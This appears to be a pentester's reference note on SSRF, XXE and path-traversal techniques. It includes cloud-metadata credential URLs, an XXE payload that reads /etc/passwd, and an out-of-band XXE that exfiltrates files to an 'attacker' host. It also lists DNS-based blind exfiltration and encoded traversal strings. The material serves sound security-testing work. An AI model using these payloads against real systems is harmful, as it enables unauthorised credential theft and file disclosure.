Injection, SSRF & XXE.
Server-side request forgery, XML external entity weaponization, and path-traversal cousins — vector enumeration, blind-channel exfiltration, parser-quirk routing.
SSRF — vector inventory
- URL parameter.
?url=,?next=,?image=,?callback=,?webhook=. Anything where the server fetches. - Webhook callback. "We POST to your URL on event X" — attacker sets URL to internal target. Bypasses outbound allow-lists in many setups.
- Image / avatar fetch.
?avatar=http://...with server-side image-processing pipeline. Returns may be opaque, so test blind first. - PDF / HTML-to-PDF renderers. Inject
<iframe src=//attacker>or<img src=//attacker>into HTML that the server renders. Most renderers fetch sub-resources without sandboxing. - XML / SOAP body with URLs. Many SOAP services follow URLs in WSDL/SOAP envelopes server-side.
- Document import. "Import from URL" features — DOC, XLSX, ZIP — fetch the URL server-side, sometimes follow redirects to internal.
SSRF — proof and exfil techniques
- Cloud metadata first.
http://169.254.169.254/latest/meta-data/iam/security-credentials/(AWS),http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=jsonwithMetadata-Flavor: Google,http://169.254.169.254/metadata/instance?api-version=2021-02-01withMetadata: true(Azure). - Blind via DNS.
?url=http://<random>.attacker.tld/+ listen on your authoritative DNS for queries. - Blind via HTTP. Use an interactsh / Burp Collaborator URL. Detects fetch without needing visible response.
- Internal port scan. Time-difference on response: connection-refused vs accepted vs timed-out gives port status.
- Redirect chaining. Server validates URL against allow-list, follows redirect: hosted attacker URL returns 302 to
http://169.254.169.254. Trivial bypass. - DNS rebinding. Attacker DNS returns valid IP on first lookup (passes allow-list), internal IP on second lookup (resolved at fetch). Defeats parse-time validation.
- Protocol smuggling. If parser accepts
gopher://ordict://orfile://— Redis on localhost via gopher is the classic chain.
XXE
- In-band exfil.
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>— if response echoes the parsed body, file contents are returned. - Out-of-band. Parameter-entity DTD hosted by attacker, fetched by victim parser, exfiltrates target file via second HTTP request.
<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker/evil.dtd"> %dtd; %send; ]>evil.dtdcontains<!ENTITY % send SYSTEM "http://attacker/?x=%file;">. - Billion-laughs. Nested entity expansion → memory exhaustion. DoS only; rarely the deliverable.
- Parsers safe by default. Modern libxml2 with default safe settings, Java's DocumentBuilder with FEATURE_SECURE_PROCESSING. Test anyway — defaults get overridden in real apps.
Path traversal
- Classic.
?file=../../../../etc/passwd. Still works on legacy apps and behind misconfigured reverse-proxies that normalize differently than the backend. - Encoded.
..%2f,%252e%252e%252f(double-encoded),..%c0%af(overlong UTF-8). One of these usually slips through. - Path normalization mismatch. Front-end (nginx) strips
..sequences but back-end (uwsgi) does its own resolution. Send..%2fraw — front-end sees no traversal, back-end resolves. - Null byte truncation. Legacy PHP / Java where
?file=secret.pdf%00.pngtruncates tosecret.pdf. Rare but still exists. - Defense. Resolve to canonical path (
realpath), verify result is within allowed directory. Never rely on substring filtering.
Rule of thumbAlways test SSRF with cloud-metadata URLs first if the target runs in a known cloud. Faster proof, more obvious impact, harder to dispute than a blind internal-IP probe.
Related notes in this domain
From reference to evidence